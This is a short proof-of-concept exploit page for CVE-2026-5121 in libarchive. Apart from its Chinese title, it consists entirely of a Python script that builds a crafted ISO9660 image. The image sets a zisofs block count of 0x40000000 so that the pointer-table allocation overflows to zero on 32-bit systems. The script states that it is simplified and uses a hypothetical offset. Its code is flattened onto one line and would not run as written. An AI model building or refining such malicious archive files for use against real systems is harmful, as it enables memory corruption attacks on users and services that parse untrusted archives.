CVE-2026-5121 libarchive堆缓冲区溢出漏洞

import struct def create_malicious_iso(filename): """ Conceptual PoC for CVE-2026-5121 This script generates a crafted ISO9660 image intended to trigger an integer overflow in the zisofs block pointer allocation logic within libarchive on 32-bit systems. """ with open(filename, 'wb') as f: # 1. Write a dummy System Area (32768 bytes) f.write(b'\x00' * 32768) # 2. Write a simplified Primary Volume Descriptor (PVD) # Type 1 (PVD), Standard ID "CD001", Version 1 pvd = b'\x01' + b'CD001' + b'\x01' pvd += b'\x00' * (2048 - len(pvd)) f.write(pvd) # 3. Simulate Zisofs header/location # In a real exploit, this data would be placed where libarchive # expects the Zisofs block pointer table. # Seek to a hypothetical offset (simplified) f.write(b'\x00' * 2048) # "ziso" magic identifier (often used in zisofs) f.write(b'ziso') # Block size (e.g., 0x8000 is 32KB) f.write(struct.pack('<I', 0x8000)) # Number of blocks: Set to a value that causes integer overflow # on 32-bit systems when calculating allocation size. # Calculation in libarchive: count * 4 (size of pointer) # If count = 0x40000000, then 0x40000000 * 4 = 0 (overflow) # This results in malloc(0) or a very small buffer. malicious_block_count = 0x40000000 f.write(struct.pack('<I', malicious_block_count)) # Write dummy data to fill the file f.write(b'A' * 1024) print(f"[+] Crafted ISO file created: {filename}") print("[+] Attempting to trigger integer overflow in libarchive zisofs parsing.") if __name__ == "__main__": create_malicious_iso("cve_2026_5121_poc.iso")